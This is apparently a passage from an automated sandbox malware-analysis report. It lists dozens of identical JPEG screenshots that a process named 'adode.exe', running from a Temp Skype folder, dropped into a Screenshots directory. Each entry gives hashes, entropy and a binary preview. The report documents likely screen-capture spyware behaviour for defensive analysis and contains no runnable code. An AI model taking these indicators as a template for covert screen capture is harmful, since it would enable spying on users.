Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_025330.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_032818.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_043240.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_052724.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_063548.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_072943.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_082202.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_085357.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_093907.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_102425.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_112134.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_122432.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_132648.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_140818.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_144700.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_153057.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_170344.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
